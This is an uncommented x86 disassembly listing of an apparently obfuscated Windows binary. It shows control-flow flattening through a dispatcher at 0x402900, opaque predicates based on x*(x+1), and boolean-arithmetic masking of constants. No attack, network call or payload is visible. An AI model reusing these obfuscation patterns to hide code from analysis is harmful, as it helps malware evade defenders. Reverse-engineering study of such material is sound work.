mov ecx, dword [0x460984]
mov esi, 0x17ac83fc
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
xor edx, 0x3d33907c
mov ecx, eax
and ecx, 0x433f8639
andn edx, eax, edx
not eax
and eax, 0xbcc079c6
or eax, ecx
mov ecx, eax
xor ecx, 0x80c06982
xor eax, 0x433f8638
and ecx, 0xc2cc6f83
and eax, 0xfffffffe
or edx, ecx
mov ecx, edx
not ecx
and edx, 0xf6c391cd
and ecx, 0x93c6e32
or edx, ecx
xor edx, 0x340ffe4f
or eax, edx
mov ecx, eax
xor ecx, 0x25111e19
mov edx, eax
and edx, 0x25101809
and ecx, eax
not eax
and eax, 0x10610
or edx, eax
xor edx, 0x25101809
or ecx, edx
mov eax, ecx
not eax
and ecx, 0xceecb6c6
and eax, 0x31134939
or ecx, eax
mov eax, ecx
xor eax, 0x414188de
xor ecx, 0x14025720
mov edx, ecx
and edx, 0xbabc6101
and eax, 0x45439efe
or eax, edx
xor eax, 0x45439efe
or eax, ecx
cmp eax, 0xffffffff
setne al
cmp dword [0x460980], 0xa
setl dl
setge cl
xor dl, al
or cl, al
mov eax, 0xf97a2082
xor dl, 1
xor cl, dl
cmovne esi, eax
test cl, dl
mov eax, 0x17ac83fc
jmp 0x40e5df
mov eax, dword [ebp - 0x2c]
mov edi, 0xd5f42ef
mov ebx, 0x2c1f7734
mov eax, dword [eax]
mov ecx, dword [ebp - 0x34]
add eax, 8
mov dword [ecx], eax
mov eax, dword [ebp - 0x70]
mov eax, dword [ebp - 0x70]
mov dword [eax], 0
mov eax, dword [0x460984]
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
andn ecx, edx, edx
not edx
and eax, 0xf5937ef9
and edx, 0xa6c8106
or eax, edx
mov edx, eax
xor edx, 0x85904c41
xor eax, 0xa6c8106
mov esi, eax
and esi, 0x7a0bb3ba
and edx, 0x85f44c45
or edx, esi
mov esi, ecx
not esi
and ecx, 0x85f44c45
or eax, esi
and esi, 0x7a0bb3ba
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
mov ecx, eax
xor ecx, 0x732a9aa2
mov edx, eax
not edx
andn esi, eax, ecx
mov ecx, eax
and ecx, 0x8cd5655d
and eax, 0xc0d3f107
or ecx, esi
mov esi, ecx
not esi
and ecx, 0x3fa4290c
and esi, 0xc05bd6f3
or ecx, esi
movzx esi, dl
and edx, 0x3f2c0ef8
or edx, eax
xor ecx, 0x4c8eb3af
mov eax, edx
xor eax, 0xc0809000
xor edx, 0x80802f8
or esi, eax
and edx, 0x85b63fe
and esi, 0xf7a49c01
or esi, edx
xor esi, 0xf7a49c01
or esi, ecx
mov eax, esi
andn ecx, esi, esi
not esi
and eax, 0x3d5f0a44
and esi, 0xc2a0f5bb
or eax, esi
mov edx, eax
xor edx, 0x380d0244
xor eax, 0xc2a0f5bb
mov esi, eax
and esi, 0x7d28822
and edx, 0xf82d77dd
or edx, esi
mov esi, ecx
not esi
and ecx, 0xf82d77dd
or eax, esi
and esi, 0x7d28822
or ecx, esi
not eax
mov esi, 0x2c1f7734
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xb4ce1b7d
and ecx, 0x4b31e482
or ecx, eax
mov eax, ecx
xor eax, 0xb0820171
xor ecx, 0x316482
and ecx, 0x47d7e8e
and eax, 0xfb828171
or eax, ecx
xor eax, 0xfb828171
setne cl
sete ah
cmp dword [0x460980], 0xa
setge al
setl ch
mov edx, eax
and ch, cl
xor dl, ah
and dl, al
and al, ah
or al, ch
or dl, al
mov ecx, edx
mov ah, dl
not cl
and cl, dl
xor cl, 1
xor ah, cl
or cl, dl
xor cl, 1
or cl, ah
xor cl, al
mov edx, ecx
test cl, 1
not dl
cmovne esi, edi
test dl, al
cmove esi, ebx
test cl, 1
cmovne esi, edi
test dl, al
jmp 0x4139b4
mov eax, dword [ebp - 0x12c]
mov ecx, dword [ebp - 0x34]
add eax, 2
mov dword [ecx], eax
mov eax, dword [0x460984]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0xc3766a5f
and eax, 0x3c8995a0
or ecx, eax
mov eax, ecx
xor eax, 0x80724a19
xor ecx, 0x904a0
and ecx, 0x430d24e6
and eax, 0xbcf2db19
or eax, ecx
mov edx, eax
mov ecx, eax
xor ecx, 0x8460ca11
xor edx, 0x430d24e6
xor eax, 0x64c29da
and eax, edx
and ecx, 0x8660ea51
and edx, 0x799f15ae
or edx, ecx
mov ecx, edx
mov esi, edx
xor ecx, 0x799f15ae
xor esi, 0xc321e76d
xor edx, 0x8240a040
and esi, ecx
or ecx, 1
and edx, 0xe3dcb4ea
or eax, esi
and ecx, 0x1c234b15
mov esi, eax
not esi
and eax, 0xfdad9906
or ecx, edx
and esi, 0x25266f9
xor ecx, 0x1c234b15
or eax, esi
mov esi, 0x8b096e32
xor eax, 0xb8ec943b
or ecx, eax
mov edx, ecx
not edx
mov eax, ecx
and eax, 0x5206f9e9
andn ecx, ecx, ecx
and edx, 0xadf90616
or eax, edx
xor eax, 0x5206f9e9
or ecx, eax
sete al
setne cl
cmp dword [0x460980], 0xa
setl dl
setge ah
and dl, al
and cl, ah
xor al, ah
or dl, cl
xor al, 1
mov ecx, edx
xor cl, ah
and cl, dl
mov edx, ecx
xor dl, al
or al, cl
xor al, 1
or al, dl
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0x38ac5d34
cmovne eax, esi
test dl, dl
mov edx, 0x38ac5d34
cmove eax, esi
test cl, 1
cmove eax, edx
jmp 0x402900
mov eax, dword [ebp - 0x34]
mov eax, dword [eax]
mov dword [ebp - 0x12c], eax
mov eax, 0xee7d5d81
jmp 0x402900
mov ecx, dword [0x460984]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
and ecx, 0x2feba42a
mov esi, edx
and esi, 0xd0145bd5
and edx, 0x3721475
or ecx, esi
mov esi, ecx
xor ecx, 0xd0145bd4
xor esi, 0x2ba98428
or ecx, 1
and esi, 0x7bb997e8
mov edi, ecx
and edi, 0x84466816
or esi, edi
mov edi, eax
xor edi, 0xfffffffe
and edi, eax
and eax, 0xfc8deb8a
mov ebx, edi
not ebx
and edi, 0x7bb997e9
or eax, edx
or ecx, ebx
and ebx, 0x84466816
xor eax, 0xfc8deb8a
or edi, ebx
not ecx
xor edi, esi
or ecx, edi
mov esi, ecx
not esi
and ecx, 0x17070615
and esi, 0xe8f8f9ea
or ecx, esi
mov esi, 0x7c975107
xor ecx, 0x17070615
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x94c540b4
and ecx, 0x6b3abf4b
or eax, ecx
xor eax, 0x94c540b4
sete dl
setne ah
cmp dword [0x460980], 0xa
setge cl
mov al, cl
and cl, dl
inc al
and ah, al
or al, dl
or cl, ah
xor al, 1
or al, cl
xor al, cl
and cl, al
mov edx, eax
xor dl, cl
test al, 1
mov eax, 0x5dedad62
cmovne eax, esi
test cl, cl
mov ecx, 0x5dedad62
cmove eax, esi
test dl, 1
cmove eax, ecx
jmp 0x402900
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x78]
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax]
mov dword [ebp - 0x1f0], eax
mov eax, 0x67cd7c8e
jmp 0x402900
cmp byte [ebp - 0xa5], 0
mov eax, 0xa6ec9b05
mov ecx, 0xc0c991b7
cmovne eax, ecx
jmp 0x402900
mov ecx, dword [ebp - 0x164]
mov eax, 0x4954dc8c
mov dword [ebp - 0xf8], ecx
jmp 0x402900
mov eax, 0x4a3e4679
jmp 0x402900
mov eax, 0x228137cb
jmp 0x402900
mov ecx, dword [0x460984]
lea eax, [ecx + 1]
imul eax, ecx
mov esi, eax
or esi, 0x21042
mov edx, eax
not edx
mov ecx, eax
xor ecx, 0x3754afbd
and ecx, eax
and esi, 0x2242175e
and edx, 0x1514a8a1
or edx, esi
mov esi, ecx
not esi
and ecx, 0xddbde8a1
or eax, esi
and esi, 0x2242175e
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
not ecx
and ecx, 0xc8ab5042
and eax, 0x3754afbd
or eax, ecx
mov edx, eax
xor edx, 1
mov ecx, eax
not ecx
and edx, eax
and ecx, 0xfffffffe
and eax, 1
or eax, ecx
mov ecx, edx
not ecx
and edx, 0xa26c7a6
mov esi, ecx
and esi, 0xf5d93859
or edx, esi
mov esi, eax
not esi
and eax, 0xa26c7a6
or ecx, esi
and esi, 0xf5d93859
or eax, esi
not ecx
mov esi, 0x8fd1b367
xor eax, edx
or ecx, eax
mov eax, ecx
not eax
and ecx, 0x3410880
mov edx, eax
and edx, 0x84944333
and eax, 0x782ab44c
or ecx, edx
xor ecx, 0x3410880
or eax, ecx
sete ah
setne dl
cmp dword [0x460980], 0xa
setge al
setl cl
mov ch, al
or al, ah
xor ch, dl
or dl, cl
or cl, ah
xor al, 1
xor dl, 1
xor cl, 1
or al, dl
or cl, ch
xor al, 1
mov edx, eax
or al, cl
xor dl, cl
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0xb137f332
cmovne ecx, esi
test al, al
mov eax, 0xb137f332
jmp 0x40e473
mov eax, 0x6c514e0d
jmp 0x402900
mov eax, dword [ebp - 0x104]
mov eax, 0xffa2705d
jmp 0x402900
mov eax, 0x78ff6ca5
jmp 0x402900
mov ecx, dword [0x460984]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov esi, eax
and esi, 0x91006012
mov ecx, edx
and ecx, 0x24c28900
and edx, 0x5304aaa9
or esi, ecx
mov ecx, eax
xor ecx, 0xb5c2e912
and ecx, eax
xor esi, 0x91006012
and eax, 0xacfb5556
or ecx, esi
or eax, edx
mov esi, ecx
not esi
and ecx, 0x28700556
and esi, 0xd78ffaa9
or ecx, esi
mov esi, ecx
xor esi, 0x91b22804
xor ecx, 0x624d13ba
mov edx, ecx
and edx, 0x2c08d55b
and esi, 0xd3f72aa4
or esi, edx
mov edx, eax
xor edx, 0x80f30004
xor eax, 0x8009
and eax, 0x2c08d55b
and edx, 0xd3f72aa4
or edx, eax
xor edx, esi
mov esi, 0x689c55d6
not edx
or edx, ecx
xor edx, 0xffffffff
sete ah
setne ch
cmp dword [0x460980], 0xa
setge cl
setl dl
mov al, cl
and cl, ah
xor al, ch
and ch, dl
or dl, ah
or cl, ch
mov ah, dl
xor cl, 1
xor ah, cl
or cl, dl
xor cl, 1
or cl, ah
xor cl, al
and al, cl
mov edx, ecx
xor dl, al
test dl, 1
mov edx, 0xa8786650
cmovne edx, esi
test cl, 1
mov ecx, 0xa8786650
cmovne ecx, edx
jmp 0x412081
mov eax, dword [ebp - 0x24]
mov edi, 0xe8432146
mov dword [eax], 0
mov ecx, dword [0x460984]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
and eax, 0xbc400004
mov ecx, edx
and ecx, 0x1107419
and edx, 0x42af8be2
or eax, ecx
xor eax, 0xbc400004
or edx, eax
mov ecx, edx
mov esi, edx
xor esi, 0x8220c32a
not ecx
mov eax, ecx
and esi, edx
and eax, 0x8220c32a
and edx, 0xb408998a
and ecx, 0x4bf76674
or eax, esi
not esi
or ecx, edx
and esi, 0x7ddf3cd4
and eax, 0x8220c32b
or eax, esi
mov edx, eax
not edx
and eax, 0xd567857e
mov esi, edx
and esi, 0x2a987a81
or eax, esi
mov esi, ecx
xor esi, 0x41670474
xor ecx, 0xb408998b
or edx, ecx
and ecx, 0x2a987a81
and esi, 0xd567857e
or esi, ecx
not edx
xor esi, eax
or edx, esi
mov ecx, edx
xor ecx, 0x69c3247d
mov eax, edx
and eax, 0x40010450
and ecx, edx
not edx
and edx, 0x29c2202d
or eax, edx
mov edx, eax
xor edx, 0x10440
xor eax, 0xbffefbaf
mov esi, eax
and esi, 0x50625b99
and edx, 0x29812464
or edx, esi
mov esi, ecx
not esi
and ecx, 0xaf9da466
or eax, esi
and esi, 0x50625b99
or ecx, esi
not eax
mov esi, 0xaa291a37
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x1434c1a5
and ecx, 0xebcb3e5a
or eax, ecx
mov ecx, eax
xor ecx, 0x75e601c0
xor eax, 0xa25
and eax, 0x811ee3d
and ecx, 0xf7ee11c2
or ecx, eax
mov eax, ecx
xor eax, 0xb2ac0102
xor ecx, 0x811c01d
and ecx, 0x4d53d0dd
and eax, 0xb2ac2f22
or eax, ecx
xor eax, 0xb2ac2f22
sete al
setne dl
cmp dword [0x460980], 0xa
setl ah
setge ch
mov cl, ah
and dl, ch
and cl, al
xor al, ah
or cl, dl
mov ah, al
xor cl, 1
xor ah, 1
or cl, ch
mov edx, ecx
and al, cl
or cl, ah
not dl
mov ebx, ecx
and ah, dl
mov edx, 0xe8432146
or ah, al
xor bl, ah
test ah, ah
cmovne edx, esi
test cl, cl
cmovne edx, edi
test bl, 1
jmp 0x413c05
mov eax, 0xb137f332
jmp 0x402900
mov eax, dword [ebp - 0xec]
mov eax, dword [ebp - 0xec]
mov eax, dword [ebp - 0xec]
mov eax, 0x80c70390
jmp 0x402900
mov eax, dword [ebp - 0x34]
mov eax, 0xbc7a5994
jmp 0x402900
cmp byte [ebp - 0xa7], 0
mov eax, 0x9142889d
mov ecx, 0x78460ea2
cmovne eax, ecx
jmp 0x402900
mov eax, dword [ebp - 0x90]
mov eax, dword [ebp - 0x90]
mov eax, dword [ebp - 0x90]
mov eax, dword [ebp - 0x90]
mov eax, dword [ebp - 0x90]
mov eax, dword [ebp - 0x90]
mov eax, 0x31e0edf1
jmp 0x402900
mov eax, 0x47f8dc3e
jmp 0x402900
mov eax, dword [ebp - 0x38]
mov eax, dword [0x460984]
mov edi, 0x71eda77f
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
xor ecx, 0xd2dc702d
mov eax, edx
and eax, 0x408c4029
and ecx, edx
not edx
and edx, 0x92503004
or eax, edx
mov edx, eax
xor edx, 0x40004001
xor eax, 0xbf73bfd6
mov esi, eax
and esi, 0x27ae1dea
and edx, 0xd0506005
or edx, esi
mov esi, ecx
not esi
and ecx, 0xd851e215
or eax, esi
and esi, 0x27ae1dea
or ecx, esi
not eax
mov esi, 0xa1dcd9a5
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x778250da
and ecx, 0x887daf25
or eax, ecx
mov ecx, eax
xor eax, 0x48a00100
xor ecx, 0xa55e20f7
mov edx, ecx
and eax, 0xe9b82182
and ecx, 0x1647de7d
and edx, 0xfffffffe
or ecx, eax
xor ecx, 0x1647de7c
or ecx, edx
mov eax, ecx
not eax
and ecx, 0x39a4cddc
and eax, 0xc65b3223
or eax, ecx
cmp eax, 0x39a4cddc
setne dl
cmp dword [0x460980], 0xa
setl al
setge cl
mov ah, al
or cl, dl
or al, dl
xor ah, dl
mov ch, cl
xor al, 1
not ah
xor ch, 1
and ah, dl
mov dl, ch
and dl, cl
or al, ah
xor ch, dl
xor dl, 1
or dl, cl
xor dl, 1
or dl, ch
xor dl, al
mov ecx, edx
xor cl, 1
and al, cl
xor cl, al
test dl, 1
mov edx, 0x71eda77f
cmovne edx, esi
test al, al
cmove edx, edi
jmp 0x413c02
mov eax, dword [ebp - 0xb4]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov dword [ebp - 0x1a4], eax
mov eax, dword [ebp - 0x5c]
mov eax, dword [eax]
mov dword [ebp - 0x1a8], eax
mov eax, dword [ebp - 0x30]
mov eax, dword [eax]
mov dword [ebp - 0x1ac], eax
mov eax, 0x65013e81
jmp 0x402900
mov eax, 0x878687de
jmp 0x402900
mov eax, dword [0x460984]
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
xor ecx, 0xfac22058
mov eax, edx
and eax, 0xaa820000
and ecx, edx
not edx
and edx, 0x50402058
or eax, edx
mov edx, eax
xor edx, 0x8800000
xor eax, 0x557dffff
mov esi, eax
and esi, 0xb7627611
and edx, 0x48800048
or edx, esi
mov esi, ecx
not esi
and ecx, 0x489d89ee
or eax, esi
and esi, 0xb7627611
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xfac22058
and ecx, 0x53ddfa7
or eax, ecx
mov edx, eax
xor edx, 0x5b1190fc
mov ecx, eax
and ecx, 0xd6cabfe6
and edx, eax
not eax
and eax, 0x29354019
or ecx, eax
mov eax, ecx
mov esi, ecx
xor eax, 0xd6cabfe6
xor esi, 0x7224d0e5
xor ecx, 0x21004008
and esi, eax
and ecx, 0x61c863cc
and eax, 0x9e379c32
or edx, esi
or eax, ecx
mov esi, edx
not esi
and edx, 0xde5425b3
xor eax, 0x9e379c32
and esi, 0x21abda4c
or edx, esi
mov esi, 0xb35cd64c
xor edx, 0x8545b54e
or eax, edx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0x6eef0b9a
and ecx, 0x9110f465
or ecx, edx
xor ecx, 0x6eef0b9a
xor eax, ecx
test eax, ecx
sete dl
setne ah
cmp dword [0x460980], 0xa
setl al
setge ch
mov dh, al
and dl, ch
and al, ah
or al, dl
xor dh, ah
mov cl, dh
mov dl, al
xor cl, ch
xor dl, 1
and cl, dh
mov ah, dl
and ah, cl
xor cl, 1
and al, cl
or cl, dl
or al, ah
mov edx, ecx
xor dl, al
mov edx, 0x8c13864f
cmovne edx, esi
test cl, cl
mov ecx, 0x8c13864f
cmovne ecx, edx
jmp 0x412081
mov eax, dword [ebp - 0x38]
mov ecx, dword [ebp - 0x14c]
mov dword [eax], ecx
mov ecx, dword [0x460984]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
xor ecx, 0x264a450b
mov edx, eax
not edx
and ecx, eax
or eax, 0xd9b5baf4
and edx, 0x2448010a
mov esi, eax
and esi, 0x92875495
or edx, esi
mov esi, ecx
not esi
and ecx, 0x6d78ab6a
or eax, esi
and esi, 0x92875495
or ecx, esi
not eax
mov esi, 0xe2321bb3
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x6b034b4f
and ecx, 0x94fcb4b0
or eax, ecx
mov ecx, eax
xor eax, 0xb0a6711a
xor ecx, 0x4d490e44
mov edx, ecx
and eax, 0xf4a67f5a
and ecx, 0xb5980a5
and edx, 0xfffffffe
or ecx, eax
xor ecx, 0xb5980a4
or ecx, edx
mov edx, ecx
xor edx, 0x83d6cad7
mov eax, ecx
and eax, 0x1d0c217
and edx, ecx
not ecx
and ecx, 0x820608c0
or eax, ecx
xor eax, 0x1d0c217
or eax, edx
not edx
and edx, 0x7c293528
and eax, 0x83d6cad7
or eax, edx
mov ecx, eax
not ecx
and eax, 0xdbef85f3
mov edx, ecx
and edx, 0x24107a0c
or eax, edx
xor eax, 0x24107a0c
xor ecx, eax
test ecx, eax
setne al
sete cl
cmp dword [0x460980], 0xa
setge dl
mov ah, dl
inc ah
and ah, al
inc al
and al, dl
xor dl, cl
and dl, cl
or al, ah
mov ecx, edx
mov ah, al
xor cl, 1
xor ah, 1
and al, cl
or cl, ah
and ah, dl
mov edx, 0x20fd6d4f
or ah, al
mov al, cl
xor al, ah
cmovne edx, esi
test ah, ah
mov esi, 0x20fd6d4f
jmp 0x4126e7
mov ecx, dword [0x460984]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
and ecx, 0xa1c5c07b
mov esi, edx
and esi, 0x5e3a3f84
and edx, 0x7ea7632b
or ecx, esi
mov esi, ecx
xor ecx, 0x5e3a3f84
xor esi, 0x80c04058
or ecx, 1
and esi, 0xdcf27dd8
mov edi, ecx
and edi, 0x230d8226
or esi, edi
mov edi, eax
xor edi, 0xfffffffe
and edi, eax
and eax, 0x81589cd4
mov ebx, edi
not ebx
and edi, 0xdcf27dd9
or eax, edx
or ecx, ebx
and ebx, 0x230d8226
xor eax, 0x81589cd4
or edi, ebx
not ecx
xor edi, esi
mov esi, 0x138a9358
or ecx, edi
not ecx
or eax, ecx
xor eax, 0xffffffff
setne al
sete cl
cmp dword [0x460980], 0xa
mov ch, al
setl dl
setge ah
and ch, ah
and dl, cl
xor al, ah
or dl, ch
mov ch, al
mov cl, dl
xor cl, ah
mov ah, al
and cl, dl
xor ah, 1
mov edx, ecx
or al, cl
xor cl, 1
and ch, cl
xor cl, ah
xor al, 1
and dl, ah
or al, cl
or dl, ch
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0xf3861d54
cmovne eax, esi
test dl, dl
not cl
mov edx, 0xf3861d54
cmove eax, esi
test cl, 1
cmovne eax, edx
jmp 0x402900
mov eax, 0xad646f9b
jmp 0x402900
mov eax, 0x32db383b
jmp 0x402900
mov ecx, dword [0x460984]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov esi, eax
or esi, 0x40800c40
and eax, 0x2a21e215
mov edx, ecx
or edx, 0x91580100
and esi, 0xd1d80d40
and ecx, 0x40610aa
and edx, 0xd1d80d40
or ecx, esi
or eax, edx
xor eax, ecx
mov ecx, eax
not ecx
and eax, 0x955e11aa
and ecx, 0x6aa1ee55
or eax, ecx
mov esi, eax
xor esi, 0x5d57b9fd
mov edx, eax
and edx, 0xd86f7f9c
and esi, eax
not eax
and eax, 0x27908063
or edx, eax
mov ecx, edx
mov edi, edx
xor ecx, 0xd86f7f9c
xor edi, 0x7ac7399e
xor edx, 0x6808002
and edi, ecx
and edx, 0x9ec4ee1a
mov eax, edi
not eax
and edi, 0xb5de46f7
mov ebx, eax
and ebx, 0x4a21b908
or edi, ebx
mov ebx, esi
not ebx
and esi, 0xb5de46f7
or eax, ebx
and ebx, 0x4a21b908
or esi, ebx
not eax
xor esi, edi
mov edi, ecx
and edi, 0x613b11e5
and ecx, 1
or eax, esi
or edi, edx
mov esi, eax
not esi
and eax, 0xebf81fd8
mov edx, edi
xor edx, 0x9ec4ee1b
xor edi, 0x20190024
and esi, 0x1407e027
or ecx, edx
and edi, 0x24592e3c
or eax, esi
mov esi, eax
xor esi, 0x24092624
xor eax, 0x495059db
mov edx, eax
or eax, ecx
and ecx, 0xdba6d1c3
and edx, 0xdba6d1c3
and esi, 0x24592e3c
or esi, edx
or edi, ecx
not eax
xor edi, esi
or eax, edi
mov ecx, eax
not ecx
mov esi, eax
and esi, 0xae804434
and eax, 0x10053208
mov edx, ecx
and edx, 0x2008c0
or ecx, 0xa040e0
or esi, edx
and ecx, 0x41fac1e3
mov edx, esi
xor edx, 0xae000414
xor esi, 0x417a81c3
or eax, ecx
and esi, 0x41fac1e3
and edx, 0xae000c14
or edx, esi
mov esi, 0x8069c4cd
xor eax, edx
mov ecx, eax
not ecx
and eax, 0xaea04cf4
and ecx, 0x515fb30b
or eax, ecx
sete dl
setne ah
cmp dword [0x460980], 0xa
setl al
setge ch
mov cl, al
and al, ah
or cl, dl
and dl, ch
xor ch, ah
xor cl, 1
or al, dl
or cl, ch
mov edx, eax
and al, cl
xor cl, 1
xor dl, 1
mov ah, cl
xor ah, dl
and dl, cl
or dl, al
and ah, cl
mov ecx, 0xe22e201e
mov al, dl
xor al, ah
test dl, dl
mov edx, 0xe22e201e
cmovne ecx, esi
test ah, ah
cmove ecx, edx
test al, 1
cmovne ecx, esi
mov eax, ecx
jmp 0x402900
mov ecx, dword [0x460984]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov esi, eax
and esi, 0x1dd41d60
mov ecx, edx
and ecx, 0xe22be29e
and edx, 0xb8290b10
or esi, ecx
mov ecx, eax
xor ecx, 0xfffffffe
and ecx, eax
xor esi, 0x1dd41d60
and eax, 0x47d6f4ef
or ecx, esi
or eax, edx
mov edx, ecx
not edx
and ecx, 0x6f48ac15
mov esi, edx
and esi, 0x90b753ea
or ecx, esi
mov esi, eax
xor esi, 0x4740a405
xor eax, 0x90210300
and eax, 0x90b753ea
and esi, 0x6f48ac15
or esi, eax
xor esi, ecx
not esi
or esi, edx
xor esi, 0xffffffff
mov esi, 0x37026f10
setne dl
sete al
cmp dword [0x460980], 0xa
mov ch, dl
setl ah
setge cl
mov dh, ah
or dl, ah
and ch, cl
and dh, al
xor al, ah
and al, ah
mov ah, dl
or dh, ch
xor al, 1
xor cl, dh
xor ah, al
or al, dl
and cl, dh
xor al, 1
mov edx, ecx
or al, ah
xor dl, 1
mov ah, al
xor ah, 1
mov ch, ah
xor ah, dl
and dl, al
or al, cl
xor al, 1
and ch, cl
or al, ah
or dl, ch
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0x812127dd
cmovne ecx, esi
test al, 1
mov eax, 0x812127dd
jmp 0x412955
mov eax, 0x2ca53836
jmp 0x402900
mov eax, 0x210cdbab
jmp 0x402900
cmp byte [ebp - 0xa4], 0
mov eax, 0xea2a78df
mov ecx, 0x2ce7770d
cmovne eax, ecx
jmp 0x402900
mov eax, dword [ebp - 0xd4]
mov eax, dword [ebp - 0xd4]
mov eax, dword [ebp - 0xd4]
mov eax, dword [ebp - 0xd4]
mov eax, 0x4f1e0a5c
jmp 0x402900
mov eax, 0xe443a581
jmp 0x402900
mov eax, dword [ebp - 0x154]
mov ecx, dword [ebp - 0x150]
mov dword [eax + 4], ecx
push dword [ebp - 0x88]
vzeroupper
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ecx, dword [ebp - 0x50]
add eax, eax
mov ecx, dword [ecx]
mov word [ecx], ax
mov ecx, dword [0x460984]
lea eax, [ecx + 1]
imul eax, ecx
andn ecx, eax, eax
mov edx, eax
not edx
mov edi, eax
and edi, 0xb12643dd
mov esi, ecx
not esi
and edx, 0x4ed9bc22
and ecx, 0x4ed9bc22
or eax, esi
and esi, 0xb12643dd
or edx, edi
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
mov esi, eax
xor esi, 0xa2871096
mov ecx, eax
and ecx, 0x533548e0
and esi, eax
not eax
and eax, 0xaccab71f
or ecx, eax
mov eax, ecx
mov edi, ecx
xor eax, 0x533548e0
xor edi, 0xe4da789
xor ecx, 0xac808509
and edi, eax
and ecx, 0xff858d49
mov edx, edi
not edx
and edi, 0x6add42aa
mov ebx, edx
and ebx, 0x9522bd55
or edi, ebx
mov ebx, esi
not ebx
and esi, 0x6add42aa
or edx, ebx
and ebx, 0x9522bd55
or esi, ebx
not edx
mov ebx, 0xba8a8277
xor esi, edi
mov edi, 0xba8a8277
or edx, esi
mov esi, edx
not esi
and edx, 0xa2871097
and esi, 0x5d78ef68
or edx, esi
mov esi, eax
and esi, 0x7a72b6
and eax, 1
or esi, ecx
mov ecx, esi
xor ecx, 0x62010d00
xor esi, 0x4802b0
or eax, ecx
and esi, 0x9dcc82f8
and eax, 0x62337d07
or eax, esi
xor eax, 0x62337d07
or eax, edx
mov ecx, eax
andn edx, eax, eax
not eax
and ecx, 0x33e9595c
and eax, 0xcc16a6a3
or ecx, eax
mov eax, ecx
xor eax, 0x23a01110
xor ecx, 0xcc16a6a3
mov esi, ecx
and esi, 0x98596cee
and eax, 0x67a69311
or eax, esi
mov esi, edx
not esi
and edx, 0x67a69311
or ecx, esi
and esi, 0x98596cee
or edx, esi
not ecx
mov esi, 0xdc848c0
xor edx, eax
or ecx, edx
mov eax, ecx
not eax
and ecx, 0x53d9aa82
and eax, 0xac26557d
or eax, ecx
xor eax, 0xac26557d
setne dl
sete cl
cmp dword [0x460980], 0xa
mov dh, dl
setl ch
setge ah
mov al, ch
xor dl, ah
and dh, ah
and al, cl
and dl, cl
xor cl, ch
and cl, ch
xor dl, 1
or al, dh
xor cl, 1
mov ch, dl
xor al, 1
xor ch, cl
or cl, dl
or al, ah
xor cl, 1
mov ah, al
or cl, ch
xor ah, 1
mov edx, ecx
and cl, al
xor dl, 1
or al, dl
and dl, ah
or dl, cl
mov ah, al
xor ah, dl
test ah, 1
cmovne ebx, esi
test dl, 1
mov edx, ebx
cmovne edx, edi
test al, 1
cmovne edx, ebx
mov eax, edx
jmp 0x402900
mov eax, dword [ebp - 0x18]
mov ecx, dword [0x460984]
mov eax, dword [eax]
add eax, 0x34
mov dword [ebp - 0x16c], eax
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
and ecx, 0x888101a0
mov esi, edx
and esi, 0x612401b
and edx, 0x88038de0
or ecx, esi
mov esi, ecx
xor esi, 0x880100a0
xor ecx, 0x777efe5f
mov edi, ecx
and edi, 0x7a0bf07
and esi, 0x881340b8
or esi, edi
mov edi, eax
xor edi, 0x8e9341bb
and edi, eax
and eax, 0x77fc721f
mov ebx, edi
not ebx
and edi, 0xf85f40f8
or eax, edx
or ecx, ebx
and ebx, 0x7a0bf07
or edi, ebx
not ecx
xor edi, esi
or ecx, edi
mov esi, ecx
not esi
and ecx, 0x8e9341ba
and esi, 0x716cbe45
or ecx, esi
mov edx, ecx
not edx
and ecx, 0x2637686f
mov esi, edx
and esi, 0xd9c89790
or ecx, esi
mov esi, eax
xor esi, 0x2634600f
xor eax, 0x88008580
and eax, 0xd9c89790
and esi, 0x2637686f
or esi, eax
xor esi, ecx
not esi
or esi, edx
xor esi, 0xffffffff
mov esi, 0x9cee74db
sete dl
setne al
cmp dword [0x460980], 0xa
setl ch
mov ah, ch
xor al, ch
or ah, dl
xor al, 1
xor ah, 1
or ah, al
mov al, dl
xor al, ch
mov cl, ah
and dl, al
and al, ch
xor cl, 1
mov ch, dl
xor dl, al
xor al, 1
xor ch, 1
or al, ch
xor al, 1
or al, dl
mov edx, ecx
and dl, ah
mov ch, al
xor dl, 1
xor ch, 1
or dl, ah
xor dl, 1
or dl, cl
mov ah, dl
and dl, ch
xor ah, 1
and ah, al
or dl, ah
mov ah, cl
xor ah, al
or al, cl
xor al, 1
or al, ah
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0xa4e27961
cmovne ecx, esi
test al, 1
mov eax, 0xa4e27961
jmp 0x412955
mov eax, dword [ebp - 0x1bc]
